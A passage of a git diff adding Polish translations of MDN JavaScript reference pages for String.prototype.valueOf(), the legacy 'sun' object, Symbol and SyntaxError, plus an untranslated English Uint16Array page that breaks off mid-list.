+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html
new file mode 100644
index 0000000000..1eda0e3021
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/valueof/index.html
@@ -0,0 +1,40 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Referencje/Obiekty/String/valueOf
+tags:
+ - JavaScript
+ - Method
+ - Property
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca pierwotną wartość obiektu {{jsxref("String")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.valueOf()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>valueOf()</code> obiektu {{jsxref("String")}} zwraca pierwotną wartość obiektu {{jsxref("String")}} jako łańcuch znaków. Ta wartość jest równoważna do {{jsxref("String.prototype.toString()")}}.</p>
+
+<p>Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf()</code></h3>
+
+<pre class="brush: js">var x = new String("Witaj świecie");
+console.log(x.valueOf()); // Wyświetla "Witaj świecie"
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/sun/index.html b/files/pl/web/javascript/referencje/obiekty/sun/index.html
new file mode 100644
index 0000000000..8bf832b3e5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/sun/index.html
@@ -0,0 +1,29 @@
+---
+title: sun
+slug: Web/JavaScript/Referencje/Obiekty/sun
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect_Reference/sun
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>sun.*</code>.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Obiekt <code>sun</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>sun</code> jest synonimem dla własności <code>Packages.sun</code>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/sun">Packages.sun</a>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/sun", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/sun" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/symbol/index.html b/files/pl/web/javascript/referencje/obiekty/symbol/index.html
new file mode 100644
index 0000000000..4124cb2a46
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/symbol/index.html
@@ -0,0 +1,227 @@
+---
+title: Symbol
+slug: Web/JavaScript/Referencje/Obiekty/Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p>Funkcja <code>Symbol()</code> zwraca wartość typu <strong>symbol</strong>, posiada statyczne własności wystawiające kilka wartości używanych we wbudowanych obiektach, posiada statyczne metody wystawiające globalny rejestr symboli i przypomina wbudowaną klasę obiektu, jest jednak niekompletna jako konstruktor ponieważ nie wspiera składni "<code>new Symbol()</code>".  </p>
+
+<p>Każdy symbol zwrócony przez <code>Symbol()</code> jest unikalny. Symbol powinien być użyty jako identyfikator własności obiektu, został zaprojektowany jedynie w tym celu. Pełniejsze wyjaśnienie dotyczące jego przeznaczenia i użycia można znaleźć w <a href="/en-US/docs/Glossary/Symbol">poświęconym mu wpisie w glosariuszu</a>.</p>
+
+<p>Typ <strong>symbol</strong> jest {{Glossary("Primitive", "typem prostym")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">Symbol(<em>[opis]</em>)</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>opis</code> {{optional_inline}}</dt>
+ <dd>Ciąg znaków, parametr opcjonalny. Opis symbolu, może być użyty do debugowania, ale nie do dostania się do samego symbolu.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Aby stworzyć nowy symbol należy użyć funkcji <code>Symbol()</code>, opcjonalnie przekazując jej opisowy ciąg znaków:</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol('foo');
+var sym3 = Symbol('foo');
+</pre>
+
+<p>Powyższy kod tworzy trzy nowe symbole. Należy zwrócić uwagę, że <code>Symbol("foo")</code> nie konwertuje ciągu znaków "foo" na symbol, tylko tworzy za każdym razem nowy symbol:</p>
+
+<pre class="brush: js">Symbol('foo') === Symbol('foo'); // false</pre>
+
+<p>Następująca składnia z operatorem {{jsxref("Operators/new", "new")}} spowoduje wyjątek {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>Dzieje się tak dlatego żeby powstrzymać programistów przed opakowywaniem wartości symboli w obiekty i może być zaskakujące, gdyż tworzenie opakowanych wartości dla typów prostych jest zazwyczaj możliwe (na przykład <code>new Boolean</code>, <code>new String</code> i <code>new Number</code>).</p>
+
+<p>Jeśli stworzenie opakowanego symbolu jest dokładnie tym czego chce programista, może do tego użyć funkcji <code>Object()</code>:</p>
+
+<pre class="brush: js">var sym = Symbol('foo');
+typeof sym; // "symbol"
+var symObj = Object(sym);
+typeof symObj; // "object"
+</pre>
+
+<h3 id="Symbole_współdzielone_w_globalnym_rejestrze_symboli">Symbole współdzielone w globalnym rejestrze symboli</h3>
+
+<p>Powyższa składnia używająca funkcji <code>Symbol()</code> nie stworzy globalnego symbolu, który będzie dostępny w całym kodzie. Aby stworzyć symbol dostępny między plikami, a nawet między sferami (z których każda ma swoją globalną przestrzeń) należy użyć metody {{jsxref("Symbol.for()")}}. Z kolei metody {{jsxref("Symbol.keyFor()")}} można użyć aby uzyskać nazwę globalnego klucza dla posiadanego symbolu.</p>
+
+<h3 id="Znajdowanie_własności_indeksowanych_symbolami_na_obiekcie">Znajdowanie własności indeksowanych symbolami na obiekcie</h3>
+
+<p>Metoda {{jsxref("Object.getOwnPropertySymbols()")}} zwraca tablicę symboli i pozwala znaleźć własności indeksowane symbolami na danym obiekcie. Każdy obiekt jest inicjowany bez takich własności, więc metoda ta zwróci pustą tablicę do czasu ustawienia na obiekcie własności pod kluczem typu symbol.</p>
+
+<h2 id="Własności">Własności</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>Własność length której wartością jest 0.</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd>Reprezentuje prototyp konstruktora <code>Symbol</code>.</dd>
+</dl>
+
+<h3 id="Znane_symbole">Znane symbole</h3>
+
+<p>Oprócz symboli zdefiniowanych przez programistę, JavaScript posiada wbudowane symbole reprezentujące wewnętrzne mechanizmy języka, które nie były widoczne dla programisty w wersji ECMAScript 5 i wcześniejszych. Dostęp do tych symboli jest możliwy za pomocą następujących własności statycznych:</p>
+
+<h4 id="Symbole_iteracji">Symbole iteracji</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>Metoda zwracająca domyślny iterator dla obiektu. Używana przez <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</dd>
+ <dt>{{jsxref("Symbol.asyncIterator")}} {{experimental_inline}}</dt>
+ <dd>Metoda zwracająca domyślny asynchroniczny iterator dla obiektu. Używana przez <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for-await-of"><code>for await of</code></a>.</dd>
+</dl>
+
+<h4 id="Symbole_wyrażeń_regularnych">Symbole wyrażeń regularnych</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>Metoda dopasowująca dla ciągu znaków, używana również dla określenia czy obiekt może zostać użyty jako wyrażenie regularne. Używana przez {{jsxref("String.prototype.match()")}}.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>Metoda zastępująca dopasowany ciąg w ciągu znaków. Używana przez {{jsxref("String.prototype.replace()")}}.</dd>
+ <dt>{{jsxref("Symbol.search")}}</dt>
+ <dd>Metoda zwracająca indeks początku ciągu znaków który został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.search()")}}.</dd>
+ <dt>{{jsxref("Symbol.split")}}</dt>
+ <dd>Metoda dzieląca łańcuch znaków w miejscu w którym został dopasowany do wyrażenia regularnego. Używana przez {{jsxref("String.prototype.split()")}}.</dd>
+</dl>
+
+<h4 id="Pozostałe_symbole">Pozostałe symbole</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.hasInstance")}}</dt>
+ <dd>Metoda określająca czy konstruktor rozpoznaje obiekt jako swoją instancję. Używana przez {{jsxref("Operators/instanceof", "instanceof")}}.</dd>
+ <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt>
+ <dd>Wartość logiczna określająca czy obiekt powinien zostać spłaszczony do jego elementów tablicy. Używana przez {{jsxref("Array.prototype.concat()")}}.</dd>
+ <dt>{{jsxref("Symbol.unscopables")}}</dt>
+ <dd>Wartość obiektu którego własne i dziediczone nazwy własności są wykluczone ze środowiska <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/with">with</a></code> powiązanego obiektu.</dd>
+ <dt>{{jsxref("Symbol.species")}}</dt>
+ <dd>Funkcja konstruktora używana do tworzenia obiektów wywodzących się z danego.</dd>
+ <dt>{{jsxref("Symbol.toPrimitive")}}</dt>
+ <dd>Metoda konwertująca obiekt na typ prosty.</dd>
+ <dt>{{jsxref("Symbol.toStringTag")}}</dt>
+ <dd>Ciąg znaków używany dla domyślnego opisu obiektu. Używany przez {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt>
+ <dd>Szuka istniejącego symbolu o podanym kluczu i zwraca go, jeśli został znaleziony. W przeciwnym razie w globalnym rejestrze tworzony jest nowy symbol o podanym kluczu i również zwracany.</dd>
+ <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt>
+ <dd>Zwraca klucz w globalnym rejestrze zapisany dla danego symbolu.</dd>
+</dl>
+
+<h2 id="Symbol_prototype"><code>Symbol</code> prototype</h2>
+
+<p>Wszystkie symbole dziecidzą po {{jsxref("Symbol.prototype")}}.</p>
+
+<h3 id="Własności_2">Własności</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Properties')}}</p>
+
+<h3 id="Metody_2">Metody</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Symbol/prototype','Methods')}}</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_operatora_typeof_z_symbolami">Używanie operatora <code>typeof</code> z symbolami</h3>
+
+<p>Operator {{jsxref("Operators/typeof", "typeof")}} może pomóc w identyfikacji symboli.</p>
+
+<pre class="brush: js">typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+</pre>
+
+<h3 id="Konwersje_typu_symbol">Konwersje typu symbol</h3>
+
+<ul>
+ <li>Podczas próby konwersji symbolu na liczbę zostanie rzucony wyjątek {{jsxref("TypeError")}}.<br>
+ (np. <code>+sym</code> lub <code>sym | 0</code>).</li>
+ <li>Przy porównaniu z pominięciem typu <code>Object(sym) == sym</code> zwraca <code>true.</code></li>
+ <li><code>Symbol("foo") + "bar" </code>wyrzuci {{jsxref("TypeError")}} (nie można skonwertować symbolu na ciąg znaków). Służy to powstrzymaniu programisty na przykład przed stworzeniem nowej nazwy własności z użyciem symbolu.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#String_conversion">"Bezpieczniejsza" konwersja <code>String(sym)</code></a> działa jak wywołanie {{jsxref("Symbol.prototype.toString()")}} ale należy mieć na uwadze, że <code>new String(sym)</code> rzuci wyjątkiem.</li>
+</ul>
+
+<h3 id="Symbole_i_iteracja_for...in">Symbole i iteracja <code>for...in</code></h3>
+
+<p>Symbole nie są iterowalne w pętlach <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>. Dodatkowo, {{jsxref("Object.getOwnPropertyNames()")}} nie zwróci własności obiektu zapisanych pod kluczem którym jest symbol, do tego celu można użyć {{jsxref("Object.getOwnPropertySymbols()")}}.</p>
+
+<pre class="brush: js">var obj = {};
+
+obj[Symbol('a')] = 'a';
+obj[Symbol.for('b')] = 'b';
+obj['c'] = 'c';
+obj.d = 'd';
+
+for (var i in obj) {
+ console.log(i); // loguje "c" i "d"
+}</pre>
+
+<h3 id="Symbole_i_JSON.stringify()">Symbole i <code>JSON.stringify()</code></h3>
+
+<p>Własności obiektu znajdujące się pod kluczem w postaci symbolu są ignorowane przez <code>JSON.stringify()</code>:</p>
+
+<pre class="brush: js">JSON.stringify({[Symbol('foo')]: 'foo'});
+// '{}'</pre>
+
+<p>Żeby dowiedzieć się więcej zobacz {{jsxref("JSON.stringify()")}}.</p>
+
+<h3 id="Symbole_opakowane_w_obiekty_jako_klucze_własności">Symbole opakowane w obiekty jako klucze własności</h3>
+
+<p>Gdy symbol opakowany w obiekt jest użyty jako klucz własności, obiekt opakowujący zostanie skonwertowany do symbolu który opakowuje:</p>
+
+<pre class="brush: js">var sym = Symbol('foo');
+var obj = {[sym]: 1};
+obj[sym]; // 1
+obj[Object(sym)]; // nadal 1
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Wstępna definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Symbol")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/Symbol">Glosariusz: typ Symbol</a></li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Typy i struktury danych</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-symbols/">"ES6 In Depth: Symbols" na hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html b/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html
new file mode 100644
index 0000000000..c8a65cd46b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html
@@ -0,0 +1,100 @@
+---
+title: SyntaxError
+slug: Web/JavaScript/Referencje/Obiekty/SyntaxError
+tags:
+ - Błąd składniowy
+ - JavaScript
+ - Klasa
+ - Obiekt
+ - Referencja
+ - SyntaxError
+translation_of: Web/JavaScript/Reference/Global_Objects/SyntaxError
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <code><strong>SyntaxError</strong></code> reprezentuje błąd przy próbie interpretacji kodu niepoprawnego pod względem składni. Jest wyrzucany wtedy, gdy silnik JavaScript podczas interpretacji kodu napotyka znak lub ciąg znaków niezgodny ze składnią języka.</p>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/SyntaxError"><code>SyntaxError()</code></a></dt>
+ <dd>Tworzy nowy obiekt <code>SyntaxError</code>.</dd>
+</dl>
+
+<h2 id="Właściwości_instancji">Właściwości instancji</h2>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.message", "SyntaxError.prototype.message")}}</dt>
+ <dd>Wiadomość błędu. Chociaż ECMA-262 mówi, że {{jsxref("SyntaxError")}} powinien dostarczać własną właściwość <code>message</code>, w <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "SyntaxError.prototype.name")}}</dt>
+ <dd>Nazwa błędu. Odziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "SyntaxError.prototype.fileName")}}</dt>
+ <dd>Ścieżka do pliku zawierającego błąd. Odziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "SyntaxError.prototype.lineNumber")}}</dt>
+ <dd>Numer zawierającej błąd linii w pliku. Odziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "SyntaxError.prototype.columnNumber")}}</dt>
+ <dd>Numer zawierającej błąd kolumny w linii kodu. Odziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "SyntaxError.prototype.stack")}}</dt>
+ <dd>Stos wywołań. Odziedziczone z {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Obsługa_SyntaxError">Obsługa <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+ eval('hoo bar');
+} catch (e) {
+ console.error(e instanceof SyntaxError);
+ console.error(e.message);
+ console.error(e.name);
+ console.error(e.fileName);
+ console.error(e.lineNumber);
+ console.error(e.columnNumber);
+ console.error(e.stack);
+}
+</pre>
+
+<h3 id="Tworzenie_SyntaxError">Tworzenie <code>SyntaxError</code></h3>
+
+<pre class="brush: js">try {
+ throw new SyntaxError('Hej', 'jakisPlik.js', 10);
+} catch (e) {
+ console.error(e instanceof SyntaxError); // true
+ console.error(e.message); // Hej
+ console.error(e.name); // SyntaxError
+ console.error(e.fileName); // jakisPlik.js
+ console.error(e.lineNumber); // 10
+ console.error(e.columnNumber); // 0
+ console.error(e.stack); // @debugger eval code:3:9
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-syntaxerror', 'SyntaxError')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.SyntaxError")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/uint16array/index.html b/files/pl/web/javascript/referencje/obiekty/uint16array/index.html
new file mode 100644
index 0000000000..ef744c5848
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/uint16array/index.html
@@ -0,0 +1,224 @@
+---
+title: Uint16Array
+slug: Web/JavaScript/Referencje/Obiekty/Uint16Array
+translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array
+---
+<div>{{JSRef("Global_Objects", "TypedArray", "Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array")}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>The <strong><code>Uint16Array</code></strong> typed array represents an array of 16-bit unsigned integers in the platform byte order. If control over byte order is needed, use {{jsxref("DataView")}} instead. The contents are initialized to <code>0</code>. Once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Uint16Array(length);
+Uint16Array(typedArray);
+Uint16Array(object);
+Uint16Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>For more information about the constructor syntax and the parameters, see <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntax">TypedArray</a></em>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Returns a number value of the element size. <code>2</code> in the case of an <code>Uint16Array</code>.</dd>
+ <dt>Uint16Array.length</dt>
+ <dd>Length property whose value is 3.</dd>
+ <dt>{{jsxref("TypedArray.name", "Uint16Array.name")}}</dt>
+ <dd>Returns the string value of the constructor name. In the case of the <code>Uint16Array</code> type: "Uint16Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}</dt>
+ <dd>Prototype for the <em>TypedArray</em> objects.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Uint16Array.from()")}}</dt>
+ <dd>Creates a new <code>Uint16Array</code> from an array-like or iterable object. See also {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Uint16Array.of()")}}</dt>
+ <dd>Creates a new <code>Uint16Array</code> with a variable number of arguments. See also {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Boolean_instances" name="Boolean_instances"><code>Uint16Array</code> prototype</h2>
+
+<p>All <code>Uint16Array</code> objects inherit from {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Properties_2">Properties</h3>
+
+<dl>
+ <dt><code>Uint16Array.prototype.constructor</code></dt>
+ <dd>Returns the function that created an instance's prototype. This is the <code>Uint16Array</code> constructor by default.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{jsxref("ArrayBuffer")}} referenced by the <code>Uint16Array</code> Fixed at construction time and thus <strong>read only</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Returns the length (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Returns the offset (in bytes) of the <code>Uint16Array</code> from the start of its {{jsxref("ArrayBuffer")}}. Fixed at construction time and thus <strong>read only.</strong></dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of elements hold in the <code>Uint16Array</code>. Fixed at construction time and thus <strong>read only.</strong></dd>
+</dl>
+
+<h3 id="Methods_2">Methods</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}</dt>
+ <dd>Copies a sequence of array elements within the array. See also {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the key/value pairs for each index in the array. See also {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}</dt>
+ <dd>Tests whether all elements in the array pass the test provided by a function. See also {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}</dt>
+ <dd>Fills all the elements of an array from a start index to an end index with a static value. See also {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}</dt>
+ <dd>Creates a new array with all of the elements of this array for which the provided filtering function returns true. See also {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}</dt>
+ <dd>Returns the found value in the array, if an element in the array satisfies the provided testing function or <code>undefined</code> if not found. See also {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}</dt>
+ <dd>Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found. See also {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}</dt>
+ <dd>Calls a function for each element in the array. See also {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>Determines whether a typed array includes a certain element, returning <code>true</code> or <code>false</code> as appropriate. See also {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}</dt>
+ <dd>Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}</dt>
+ <dd>Joins all elements of an array into a string. See also {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> that contains the keys for each index in the array. See also {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found. See also {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}</dt>
+ <dd>Creates a new array with the results of calling a provided function on every element in this array. See also {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Former non-standard version of {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}</dt>
+ <dd>Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. See also {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}</dt>
+ <dd>Reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. See also {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}</dt>
+ <dd>Stores multiple values in the typed array, reading input values from a specified array.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}</dt>
+ <dd>Extracts a section of an array and returns a new array. See also {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}</dt>
+ <dd>Returns true if at least one element in this array satisfies the provided testing function. See also {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}</dt>
+ <dd>Sorts the elements of an array in place and returns the array. See also {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}</dt>
+ <dd>Returns a new <code>Uint16Array</code> from the given start and end element index.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}</dt>
+ <dd>Returns a new <code>Array Iterator</code> object that contains the values for each index in the array. See also {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}</dt>
